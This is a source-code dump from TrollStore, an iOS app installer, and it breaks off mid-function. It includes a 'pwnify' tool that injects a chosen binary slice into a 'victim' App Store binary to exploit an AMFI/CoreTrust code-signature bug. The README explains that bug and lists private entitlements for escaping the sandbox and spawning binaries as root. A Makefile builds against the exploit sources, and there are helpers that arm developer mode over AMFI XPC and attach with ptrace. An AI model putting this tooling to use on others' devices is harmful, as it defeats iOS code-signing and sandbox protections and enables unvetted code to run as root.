copyData(FILE* sourceFile, FILE* targetFile, size_t size) 41 | { 42 | for(size_t i = 0; i < size; i++) 43 | { 44 | char b; 45 | fread(&b, 1, 1, sourceFile); 46 | fwrite(&b, 1, 1, targetFile); 47 | } 48 | } 49 | 50 | void enumerateArchs(NSString* binaryPath, void (^archEnumBlock)(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop)) 51 | { 52 | FILE* machoFile = fopen(binaryPath.fileSystemRepresentation, "rb"); 53 | if(!machoFile) return; 54 | 55 | struct mach_header header; 56 | fread(&header,sizeof(header),1,machoFile); 57 | 58 | if(header.magic == FAT_MAGIC || header.magic == FAT_CIGAM) 59 | { 60 | fseek(machoFile,0,SEEK_SET); 61 | struct fat_header fatHeader; 62 | fread(&fatHeader,sizeof(fatHeader),1,machoFile); 63 | 64 | for(int i = 0; i < OSSwapBigToHostInt32(fatHeader.nfat_arch); i++) 65 | { 66 | uint32_t archFileOffset = sizeof(fatHeader) + sizeof(struct fat_arch) * i; 67 | struct fat_arch fatArch; 68 | fseek(machoFile, archFileOffset,SEEK_SET); 69 | fread(&fatArch,sizeof(fatArch),1,machoFile); 70 | 71 | uint32_t sliceFileOffset = OSSwapBigToHostInt32(fatArch.offset); 72 | struct mach_header archHeader; 73 | fseek(machoFile, sliceFileOffset, SEEK_SET); 74 | fread(&archHeader,sizeof(archHeader),1,machoFile); 75 | 76 | BOOL stop = NO; 77 | archEnumBlock(&fatArch, archFileOffset, &archHeader, sliceFileOffset, machoFile, &stop); 78 | if(stop) break; 79 | } 80 | } 81 | else if(header.magic == MH_MAGIC_64 || header.magic == MH_CIGAM_64) 82 | { 83 | BOOL stop; 84 | archEnumBlock(NULL, 0, &header, 0, machoFile, &stop); 85 | } 86 | 87 | fclose(machoFile); 88 | } 89 | 90 | void printArchs(NSString* binaryPath) 91 | { 92 | __block int i = 0; 93 | enumerateArchs(binaryPath, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 94 | if(arch) 95 | { 96 | printf("%d. fatArch type: 0x%X, subtype: 0x%X, align:0x%X, size:0x%X, offset:0x%X\n| ", i, OSSwapBigToHostInt32(arch->cputype), OSSwapBigToHostInt32(arch->cpusubtype), OSSwapBigToHostInt32(arch->align), OSSwapBigToHostInt32(arch->size), OSSwapBigToHostInt32(arch->offset)); 97 | } 98 | printf("machHeader type: 0x%X, subtype: 0x%X\n", OSSwapLittleToHostInt32(machHeader->cputype), OSSwapLittleToHostInt32(machHeader->cpusubtype)); 99 | 100 | i++; 101 | }); 102 | } 103 | 104 | void pwnify(NSString* appStoreBinary, NSString* binaryToInject, BOOL preferArm64e) 105 | { 106 | NSString* tmpFilePath = [NSTemporaryDirectory() stringByAppendingString:[[NSUUID UUID] UUIDString]]; 107 | 108 | // Determine amount of slices in output 109 | __block int slicesCount = 1; 110 | enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 111 | slicesCount++; 112 | }); 113 | 114 | // Allocate FAT data 115 | uint32_t fatDataSize = sizeof(struct fat_header) + slicesCount * sizeof(struct fat_arch); 116 | char* fatData = malloc(fatDataSize); 117 | 118 | // Construct new fat header 119 | struct fat_header fatHeader; 120 | fatHeader.magic = OSSwapHostToBigInt32(0xCAFEBABE); 121 | fatHeader.nfat_arch = OSSwapHostToBigInt32(slicesCount); 122 | memcpy(&fatData[0], &fatHeader, sizeof(fatHeader)); 123 | 124 | uint32_t align = pow(2, ALIGN_DEFAULT); 125 | __block uint32_t curOffset = align; 126 | __block uint32_t curArchIndex = 0; 127 | 128 | // Construct new fat arch data 129 | enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 130 | struct fat_arch newArch; 131 | if(arch) 132 | { 133 | newArch.cputype = arch->cputype; 134 | 135 | if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C) 136 | { 137 | newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e 138 | } 139 | else 140 | { 141 | newArch.cpusubtype = arch->cpusubtype; 142 | } 143 | 144 | newArch.size = arch->size; 145 | } 146 | else 147 | { 148 | newArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype)); 149 | 150 | if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) 151 | { 152 | newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e 153 | } 154 | else 155 | { 156 | newArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype)); 157 | } 158 | 159 | newArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:appStoreBinary error:nil] fileSize]); 160 | } 161 | 162 | newArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT); 163 | newArch.offset = OSSwapHostToBigInt32(curOffset); 164 | curOffset += roundUp(OSSwapBigToHostInt32(newArch.size), align); 165 | 166 | memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], &newArch, sizeof(newArch)); 167 | curArchIndex++; 168 | }); 169 | 170 | // Determine what slices our injection binary contains 171 | __block BOOL toInjectHasArm64e = NO; 172 | __block BOOL toInjectHasArm64 = NO; 173 | enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 174 | if(arch) 175 | { 176 | if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C) 177 | { 178 | if (!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x2) & 0xFFFFFF)) 179 | { 180 | toInjectHasArm64e = YES; 181 | } 182 | else if(!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x1) & 0xFFFFFF)) 183 | { 184 | toInjectHasArm64 = YES; 185 | } 186 | } 187 | } 188 | else 189 | { 190 | if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) 191 | { 192 | if (!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x2) & 0xFFFFFF)) 193 | { 194 | toInjectHasArm64e = YES; 195 | } 196 | else if(!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x1) & 0xFFFFFF)) 197 | { 198 | toInjectHasArm64 = YES; 199 | } 200 | } 201 | } 202 | }); 203 | 204 | if(!toInjectHasArm64 && !preferArm64e) 205 | { 206 | printf("ERROR: can't proceed injection because binary to inject has no arm64 slice\n"); 207 | return; 208 | } 209 | 210 | uint32_t subtypeToUse = 0x1; 211 | if(preferArm64e && toInjectHasArm64e) 212 | { 213 | subtypeToUse = 0x2; 214 | } 215 | 216 | enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 217 | struct fat_arch currentArch; 218 | if(arch) 219 | { 220 | currentArch.cputype = arch->cputype; 221 | currentArch.cpusubtype = arch->cpusubtype; 222 | currentArch.size = arch->size; 223 | } 224 | else 225 | { 226 | currentArch.cputype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cputype)); 227 | currentArch.cpusubtype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cpusubtype)); 228 | currentArch.size = OSSwapHostToBigInt((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]); 229 | } 230 | 231 | if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C) 232 | { 233 | if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF)) 234 | { 235 | currentArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT); 236 | currentArch.offset = OSSwapHostToBigInt32(curOffset); 237 | curOffset += roundUp(OSSwapBigToHostInt32(currentArch.size), align); 238 | memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], ¤tArch, sizeof(currentArch)); 239 | curArchIndex++; 240 | *stop = YES; 241 | } 242 | } 243 | }); 244 | 245 | // FAT Header constructed, now write to file and then write the slices themselves 246 | 247 | FILE* tmpFile = fopen(tmpFilePath.fileSystemRepresentation, "wb"); 248 | fwrite(&fatData[0], fatDataSize, 1, tmpFile); 249 | 250 | curArchIndex = 0; 251 | enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 252 | struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex]; 253 | 254 | expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset)); 255 | 256 | uint32_t offset = 0; 257 | uint32_t size = 0; 258 | 259 | if(arch) 260 | { 261 | offset = OSSwapBigToHostInt32(arch->offset); 262 | size = OSSwapBigToHostInt32(arch->size); 263 | } 264 | else 265 | { 266 | size = OSSwapBigToHostInt32(toWriteArch->size); 267 | } 268 | 269 | FILE* appStoreBinaryFile = fopen(appStoreBinary.fileSystemRepresentation, "rb"); 270 | fseek(appStoreBinaryFile, offset, SEEK_SET); 271 | copyData(appStoreBinaryFile, tmpFile, size); 272 | fclose(appStoreBinaryFile); 273 | curArchIndex++; 274 | }); 275 | 276 | struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex]; 277 | enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { 278 | struct fat_arch currentArch; 279 | if(arch) 280 | { 281 | currentArch.cputype = arch->cputype; 282 | currentArch.cpusubtype = arch->cpusubtype; 283 | currentArch.size = arch->size; 284 | } 285 | else 286 | { 287 | currentArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype)); 288 | currentArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype)); 289 | currentArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]); 290 | } 291 | 292 | if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C) 293 | { 294 | if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF)) 295 | { 296 | expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset)); 297 | 298 | uint32_t offset = 0; 299 | uint32_t size = 0; 300 | 301 | if(arch) 302 | { 303 | offset = OSSwapBigToHostInt32(arch->offset); 304 | size = OSSwapBigToHostInt32(arch->size); 305 | } 306 | else 307 | { 308 | size = OSSwapBigToHostInt32(toWriteArch->size); 309 | } 310 | 311 | FILE* binaryToInjectFile = fopen(binaryToInject.fileSystemRepresentation, "rb"); 312 | fseek(binaryToInjectFile, offset, SEEK_SET); 313 | copyData(binaryToInjectFile, tmpFile, size); 314 | fclose(binaryToInjectFile); 315 | *stop = YES; 316 | } 317 | } 318 | }); 319 | 320 | fclose(tmpFile); 321 | chmod(tmpFilePath.fileSystemRepresentation, 0755); 322 | 323 | [[NSFileManager defaultManager] removeItemAtPath:appStoreBinary error:nil]; 324 | [[NSFileManager defaultManager] moveItemAtPath:tmpFilePath toPath:appStoreBinary error:nil]; 325 | } 326 | 327 | void setCPUSubtype(NSString* binaryPath, uint32_t subtype) 328 | { 329 | FILE* binaryFile = fopen(binaryPath.fileSystemRepresentation, "rb+"); 330 | if(!binaryFile) 331 | { 332 | printf("ERROR: File not found\n"); 333 | return; 334 | } 335 | 336 | enumerateArchs(binaryPath, ^(struct fat_arch *arch, uint32_t archFileOffset, struct mach_header *machHeader, uint32_t sliceFileOffset, FILE *file, BOOL *stop) { 337 | 338 | if(arch) 339 | { 340 | if(OSSwapBigToHostInt(arch->cputype) == 0x100000C) 341 | { 342 | if(OSSwapBigToHostInt(arch->cpusubtype) == 0x0) 343 | { 344 | arch->cpusubtype = OSSwapHostToBigInt32(subtype); 345 | fseek(binaryFile, archFileOffset, SEEK_SET); 346 | fwrite(arch, sizeof(struct fat_arch), 1, binaryFile); 347 | } 348 | } 349 | } 350 | 351 | if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) 352 | { 353 | if(OSSwapLittleToHostInt32(machHeader->cpusubtype) == 0x0) 354 | { 355 | machHeader->cpusubtype = OSSwapHostToLittleInt32(subtype); 356 | fseek(binaryFile, sliceFileOffset, SEEK_SET); 357 | fwrite(machHeader, sizeof(struct mach_header), 1, binaryFile); 358 | } 359 | } 360 | }); 361 | 362 | fclose(binaryFile); 363 | } 364 | 365 | void printUsageAndExit(void) 366 | { 367 | printf("Usage:\n\nPrint architectures of a binary:\npwnify print \n\nInject target slice into victim binary:\npwnify pwn(64e) \n\nModify cpusubtype of a non FAT binary:\npwnify set-cpusubtype \n"); 368 | exit(0); 369 | } 370 | 371 | int main(int argc, const char * argv[]) { 372 | @autoreleasepool { 373 | if(argc < 3) 374 | { 375 | printUsageAndExit(); 376 | } 377 | 378 | NSString* operation = [NSString stringWithUTF8String:argv[1]]; 379 | 380 | if([operation isEqualToString:@"print"]) 381 | { 382 | NSString* binaryToPrint = [NSString stringWithUTF8String:argv[2]]; 383 | printArchs(binaryToPrint); 384 | } 385 | else if([operation isEqualToString:@"pwn"]) 386 | { 387 | if(argc < 4) printUsageAndExit(); 388 | NSString* victimBinary = [NSString stringWithUTF8String:argv[2]]; 389 | NSString* targetBinary = [NSString stringWithUTF8String:argv[3]]; 390 | pwnify(victimBinary, targetBinary, NO); 391 | } 392 | else if([operation isEqualToString:@"pwn64e"]) 393 | { 394 | if(argc < 4) printUsageAndExit(); 395 | NSString* victimBinary = [NSString stringWithUTF8String:argv[2]]; 396 | NSString* targetBinary = [NSString stringWithUTF8String:argv[3]]; 397 | pwnify(victimBinary, targetBinary, YES); 398 | } 399 | else if([operation isEqualToString:@"set-cpusubtype"]) 400 | { 401 | if(argc < 4) printUsageAndExit(); 402 | NSString* binaryToModify = [NSString stringWithUTF8String:argv[2]]; 403 | NSString* subtypeToSet = [NSString stringWithUTF8String:argv[3]]; 404 | 405 | NSNumberFormatter* f = [[NSNumberFormatter alloc] init]; 406 | f.numberStyle = NSNumberFormatterDecimalStyle; 407 | NSNumber* subtypeToSetNum = [f numberFromString:subtypeToSet]; 408 | 409 | setCPUSubtype(binaryToModify, [subtypeToSetNum unsignedIntValue]); 410 | } 411 | else 412 | { 413 | printUsageAndExit(); 414 | } 415 | } 416 | return 0; 417 | } 418 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TrollStore 2 | 3 | TrollStore is a permasigned jailed app that can permanently install any IPA you open in it. 4 | 5 | It works because of an AMFI/CoreTrust bug where iOS does not correctly verify code signatures of binaries in which there are multiple signers. 6 | 7 | Supported versions: 14.0 - 16.6.1, 16.7 RC (20H18), 17.0 8 | 9 | ## Installing TrollStore 10 | 11 | For installing TrollStore, refer to the guides at [ios.cfw.guide](https://ios.cfw.guide/installing-trollstore) 12 | 13 | 16.7.x (excluding 16.7 RC) and 17.0.1+ will NEVER be supported (unless Apple fucks CoreTrust up a third time...). 14 | 15 | ## Updating TrollStore 16 | 17 | When a new TrollStore update is available, a button to install it will appear at the top in the TrollStore settings. After tapping the button, TrollStore will automatically download the update, install it, and respring. 18 | 19 | Alternatively (if anything goes wrong), you can download the TrollStore.tar file under Releases and open it in TrollStore, TrollStore will install the update and respring. 20 | 21 | ## Uninstalling an app 22 | 23 | Apps installed from TrollStore can only be uninstalled from TrollStore itself, tap an app or swipe it to the left in the 'Apps' tab to delete it. 24 | 25 | ## Persistence Helper 26 | 27 | The CoreTrust bug used in TrollStore is only enough to install "System" apps, this is because FrontBoard has an additional security check (it calls libmis) every time before a user app is launched. Unfortunately it is not possible to install new "System" apps that stay through an icon cache reload. Therefore, when iOS reloads the icon cache, all TrollStore installed apps including TrollStore itself will revert back to "User" state and will no longer launch. 28 | 29 | The only way to work around this is to install a persistence helper into a system app, this helper can then be used to reregister TrollStore and its installed apps as "System" so that they become launchable again, an option for this is available in TrollStore settings. 30 | 31 | On jailbroken iOS 14 when TrollHelper is used for installation, it is located in /Applications and will persist as a "System" app through icon cache reloads, therefore TrollHelper is used as the persistence helper on iOS 14. 32 | 33 | ## URL Scheme 34 | 35 | As of version 1.3, TrollStore replaces the system URL scheme "apple-magnifier" (this is done so "jailbreak" detections can't detect TrollStore like they could if TrollStore had a unique URL scheme). This URL scheme can be used to install applications right from the browser, or to enable JIT from the app itself, the format goes as follows: 36 | 37 | - `apple-magnifier://install?url=` 38 | - `apple-magnifier://enable-jit?bundle-id=` 39 | 40 | On devices that don't have TrollStore (1.3+) installed, this will just open the magnifier app. 41 | 42 | ## Features 43 | 44 | The binaries inside an IPA can have arbitrary entitlements, fakesign them with ldid and the entitlements you want (`ldid -S `) and TrollStore will preserve the entitlements when resigning them with the fake root certificate on installation. This gives you a lot of possibilities, some of which are explained below. 45 | 46 | ### Banned entitlements 47 | 48 | iOS 15 on A12+ has banned the following three entitlements related to running unsigned code, these are impossible to get without a PPL bypass, apps signed with them will crash on launch. 49 | 50 | `com.apple.private.cs.debugger` 51 | 52 | `dynamic-codesigning` 53 | 54 | `com.apple.private.skip-library-validation` 55 | 56 | ### Unsandboxing 57 | 58 | Your app can run unsandboxed using one of the following entitlements: 59 | 60 | ```xml 61 | com.apple.private.security.container-required 62 | 63 | ``` 64 | 65 | ```xml 66 | com.apple.private.security.no-container 67 | 68 | ``` 69 | 70 | ```xml 71 | com.apple.private.security.no-sandbox 72 | 73 | ``` 74 | 75 | The third one is recommended if you still want a sandbox container for your application. 76 | 77 | You might also need the platform-application entitlement in order for these to work properly: 78 | 79 | ```xml 80 | platform-application 81 | 82 | ``` 83 | 84 | Please note that the platform-application entitlement causes side effects such as some parts of the sandbox becoming tighter, so you may need additional private entitlements to circumvent that. (For example afterwards you need an exception entitlement for every single IOKit user client class you want to access). 85 | 86 | In order for an app with `com.apple.private.security.no-sandbox` and `platform-application` to be able to access it's own data container, you might need the additional entitlement: 87 | 88 | ```xml 89 | com.apple.private.security.storage.AppDataContainers 90 | 91 | ``` 92 | 93 | ### Root Helpers 94 | 95 | When your app is not sandboxed, you can spawn other binaries using posix_spawn, you can also spawn binaries as root with the following entitlement: 96 | 97 | ```xml 98 | com.apple.private.persona-mgmt 99 | 100 | ``` 101 | 102 | You can also add your own binaries into your app bundle. 103 | 104 | Afterwards you can use the [spawnRoot function in TSUtil.m](./Shared/TSUtil.m#L79) to spawn the binary as root. 105 | 106 | ### Things that are not possible using TrollStore 107 | 108 | - Getting proper platformization (`TF_PLATFORM` / `CS_PLATFORMIZED`) 109 | - Spawning a launch daemon (Would need `CS_PLATFORMIZED`) 110 | - Injecting a tweak into a system process (Would need `TF_PLATFORM`, a userland PAC bypass and a PMAP trust level bypass) 111 | 112 | ## Credits and Further Reading 113 | 114 | [@alfiecg_dev](https://twitter.com/alfiecg_dev/) - Found the CoreTrust bug that allows TrollStore to work through patchdiffing and worked on automating the bypass. 115 | 116 | Google Threat Analysis Group - Found the CoreTrust bug as part of an in-the-wild spyware chain and reported it to Apple. 117 | 118 | [@LinusHenze](https://twitter.com/LinusHenze) - Found the installd bypass used to install TrollStore on iOS 14-15.6.1 via TrollHelperOTA, as well as the original CoreTrust bug used in TrollStore 1.0. 119 | 120 | [Fugu15 Presentation](https://youtu.be/rPTifU1lG7Q) 121 | 122 | [Write-Up on the first CoreTrust bug with more information](https://worthdoingbadly.com/coretrust/). 123 | -------------------------------------------------------------------------------- /RootHelper/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := iphone:clang:16.5:14.0 2 | ARCHS = arm64 3 | 4 | TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign 5 | 6 | include $(THEOS)/makefiles/common.mk 7 | 8 | TOOL_NAME = trollstorehelper 9 | 10 | trollstorehelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) $(wildcard ../ChOma/src/*.c) ../Exploits/fastPathSign/src/coretrust_bug.c ../Exploits/fastPathSign/src/codesign.m 11 | trollstorehelper_CFLAGS = -fobjc-arc -I../Shared $(shell pkg-config --cflags libcrypto) -I../ChOma/src -I../Exploits/fastPathSign/src 12 | trollstorehelper_LDFLAGS = -L../ChOma/external/ios -lcrypto 13 | trollstorehelper_CODESIGN_FLAGS = --entitlements entitlements.plist 14 | trollstorehelper_INSTALL_PATH = /usr/local/bin 15 | trollstorehelper_LIBRARIES = archive 16 | trollstorehelper_FRAMEWORKS = CoreTelephony 17 | trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices MobileContainerManager FrontBoardServices RunningBoardServices 18 | 19 | include $(THEOS_MAKE_PATH)/tool.mk 20 | -------------------------------------------------------------------------------- /RootHelper/control: -------------------------------------------------------------------------------- 1 | Package: com.opa334.trollstoreroothelper 2 | Name: trollstoreroothelper 3 | Version: 2.0.11 4 | Architecture: iphoneos-arm 5 | Description: An awesome tool of some sort!! 6 | Maintainer: opa334 7 | Author: opa334 8 | Section: System 9 | Tag: role::hacker 10 | -------------------------------------------------------------------------------- /RootHelper/devmode.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | BOOL checkDeveloperMode(void); 4 | BOOL armDeveloperMode(BOOL* alreadyEnabled); -------------------------------------------------------------------------------- /RootHelper/devmode.m: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | 3 | #ifndef __XPC_H__ 4 | // Types 5 | typedef NSObject* xpc_object_t; 6 | typedef xpc_object_t xpc_connection_t; 7 | typedef void (^xpc_handler_t)(xpc_object_t object); 8 | 9 | // Communication 10 | extern xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, uint64_t flags); 11 | extern void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); 12 | extern void xpc_connection_resume(xpc_connection_t connection); 13 | extern void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler); 14 | extern xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message); 15 | extern xpc_object_t xpc_dictionary_get_value(xpc_object_t xdict, const char *key); 16 | #endif 17 | 18 | // Serialization 19 | extern CFTypeRef _CFXPCCreateCFObjectFromXPCObject(xpc_object_t xpcattrs); 20 | extern xpc_object_t _CFXPCCreateXPCObjectFromCFObject(CFTypeRef attrs); 21 | extern xpc_object_t _CFXPCCreateXPCMessageWithCFObject(CFTypeRef obj); 22 | extern CFTypeRef _CFXPCCreateCFObjectFromXPCMessage(xpc_object_t obj); 23 | 24 | 25 | typedef enum { 26 | kAMFIActionArm = 0, // Trigger a prompt asking the user to enable developer mode on the next reboot 27 | // (regardless of current state) 28 | kAMFIActionDisable = 1, // Disable developer mode if it's currently enabled. Takes effect immediately. 29 | kAMFIActionStatus = 2, // Returns a dict: {success: bool, status: bool, armed: bool} 30 | } AMFIXPCAction; 31 | 32 | xpc_connection_t startConnection(void) { 33 | xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.amfi.xpc", NULL, 0); 34 | if (!connection) { 35 | NSLog(@"[startXPCConnection] Failed to create XPC connection to amfid"); 36 | return nil; 37 | } 38 | xpc_connection_set_event_handler(connection, ^(xpc_object_t event) { 39 | }); 40 | xpc_connection_resume(connection); 41 | return connection; 42 | } 43 | 44 | NSDictionary* sendXPCRequest(xpc_connection_t connection, AMFIXPCAction action) { 45 | xpc_object_t message = _CFXPCCreateXPCMessageWithCFObject((__bridge CFDictionaryRef) @{@"action": @(action)}); 46 | xpc_object_t replyMsg = xpc_connection_send_message_with_reply_sync(connection, message); 47 | if (!replyMsg) { 48 | NSLog(@"[sendXPCRequest] got no reply from amfid"); 49 | return nil; 50 | } 51 | 52 | xpc_object_t replyObj = xpc_dictionary_get_value(replyMsg, "cfreply"); 53 | if (!replyObj) { 54 | NSLog(@"[sendXPCRequest] got reply but no cfreply"); 55 | return nil; 56 | } 57 | 58 | NSDictionary* asCF = (__bridge NSDictionary*)_CFXPCCreateCFObjectFromXPCMessage(replyObj); 59 | return asCF; 60 | } 61 | 62 | BOOL getDeveloperModeState(xpc_connection_t connection) { 63 | NSDictionary* reply = sendXPCRequest(connection, kAMFIActionStatus); 64 | if (!reply) { 65 | NSLog(@"[getDeveloperModeState] failed to get reply"); 66 | return NO; 67 | } 68 | 69 | NSLog(@"[getDeveloperModeState] got reply %@", reply); 70 | 71 | NSObject* success = reply[@"success"]; 72 | if (!success || ![success isKindOfClass:[NSNumber class]] || ![(NSNumber*)success boolValue]) { 73 | NSLog(@"[getDeveloperModeState] request failed with error %@", reply[@"error"]); 74 | return NO; 75 | } 76 | 77 | NSObject* status = reply[@"status"]; 78 | if (!status || ![status isKindOfClass:[NSNumber class]]) { 79 | NSLog(@"[getDeveloperModeState] request succeeded but no status"); 80 | return NO; 81 | } 82 | 83 | return [(NSNumber*)status boolValue]; 84 | } 85 | 86 | BOOL setDeveloperModeState(xpc_connection_t connection, BOOL enable) { 87 | NSDictionary* reply = sendXPCRequest(connection, enable ? kAMFIActionArm : kAMFIActionDisable); 88 | if (!reply) { 89 | NSLog(@"[setDeveloperModeState] failed to get reply"); 90 | return NO; 91 | } 92 | 93 | NSObject* success = reply[@"success"]; 94 | if (!success || ![success isKindOfClass:[NSNumber class]] || ![(NSNumber*)success boolValue]) { 95 | NSLog(@"[setDeveloperModeState] request failed with error %@", reply[@"error"]); 96 | return NO; 97 | } 98 | 99 | return YES; 100 | } 101 | 102 | BOOL checkDeveloperMode(void) { 103 | // Developer mode does not exist before iOS 16 104 | if (@available(iOS 16, *)) { 105 | xpc_connection_t connection = startConnection(); 106 | if (!connection) { 107 | NSLog(@"[checkDeveloperMode] failed to start connection"); 108 | // Assume it's disabled 109 | return NO; 110 | } 111 | 112 | return getDeveloperModeState(connection); 113 | } else { 114 | return YES; 115 | } 116 | } 117 | 118 | BOOL armDeveloperMode(BOOL* alreadyEnabled) { 119 | // Developer mode does not exist before iOS 16 120 | if (@available(iOS 16, *)) { 121 | xpc_connection_t connection = startConnection(); 122 | if (!connection) { 123 | NSLog(@"[armDeveloperMode] failed to start connection"); 124 | return NO; 125 | } 126 | 127 | BOOL enabled = getDeveloperModeState(connection); 128 | if (alreadyEnabled) { 129 | *alreadyEnabled = enabled; 130 | } 131 | 132 | if (enabled) { 133 | // NSLog(@"[armDeveloperMode] already enabled"); 134 | return YES; 135 | } 136 | 137 | BOOL success = setDeveloperModeState(connection, YES); 138 | if (!success) { 139 | NSLog(@"[armDeveloperMode] failed to arm"); 140 | return NO; 141 | } 142 | } 143 | 144 | return YES; 145 | } 146 | -------------------------------------------------------------------------------- /RootHelper/entitlements.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | com.apple.private.security.container-required 8 | 9 | com.apple.private.security.no-sandbox 10 | 11 | com.apple.private.security.container-manager 12 | 13 | com.apple.private.MobileContainerManager.allowed 14 | 15 | com.apple.private.coreservices.canmaplsdatabase 16 | 17 | com.apple.lsapplicationworkspace.rebuildappdatabases 18 | 19 | com.apple.private.security.storage.AppBundles 20 | 21 | com.apple.private.security.storage.MobileDocuments 22 | 23 | com.apple.private.security.storage-exempt.heritable 24 | 25 | com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled 26 | 27 | com.apple.private.MobileInstallationHelperService.allowed 28 | 29 | com.apple.private.uninstall.deletion 30 | 31 | com.apple.springboard.launchapplications 32 | 33 | com.apple.backboardd.launchapplications 34 | 35 | com.apple.frontboard.launchapplications 36 | 37 | com.apple.multitasking.termination 38 | 39 | com.apple.private.mobileinstall.allowedSPI 40 | 41 | InstallForLaunchServices 42 | Install 43 | UninstallForLaunchServices 44 | Uninstall 45 | UpdatePlaceholderMetadata 46 | 47 | com.apple.private.amfi.developer-mode-control 48 | 49 | com.apple.frontboard.shutdown 50 | 51 | com.apple.runningboard.process-state 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /RootHelper/jit.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | int enableJIT(NSString *bundleID); 4 | -------------------------------------------------------------------------------- /RootHelper/jit.m: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | @import Darwin; 3 | 4 | @interface RBSProcessPredicate 5 | + (instancetype)predicateMatchingBundleIdentifier:(NSString *)bundleID; 6 | @end 7 | 8 | @interface RBSProcessHandle 9 | + (instancetype)handleForPredicate:(RBSProcessPredicate *)predicate error:(NSError **)error; 10 | - (int)rbs_pid; 11 | @end 12 | 13 | #define PT_DETACH 11 14 | #define PT_ATTACHEXC 14 15 | int ptrace(int request, pid_t pid, caddr_t addr, int data); 16 | 17 | int enableJIT(NSString *bundleID) { 18 | #ifdef EMBEDDED_ROOT_HELPER 19 | return -1; 20 | #else 21 | RBSProcessPredicate *predicate = [RBSProcessPredicate predicateMatchingBundleIdentifier:bundleID]; 22 | RBSProcessHandle* process = [RBSProcessHandle handleForPredicate:predicate error:nil]; 23 | int pid = process.rbs_pid; 24 | 25 | if (!pid) 26 | { 27 | return ESRCH; 28 | } 29 | 30 | int ret = ptrace(PT_ATTACHEXC, pid, 0, 0); 31 | if (ret == -1) 32 | { 33 | return errno; 34 | } 35 | 36 | usleep(100000); 37 | ret = ptrace(PT_DETACH, pid, 0, 0); 38 | if (ret == -1) 39 | { 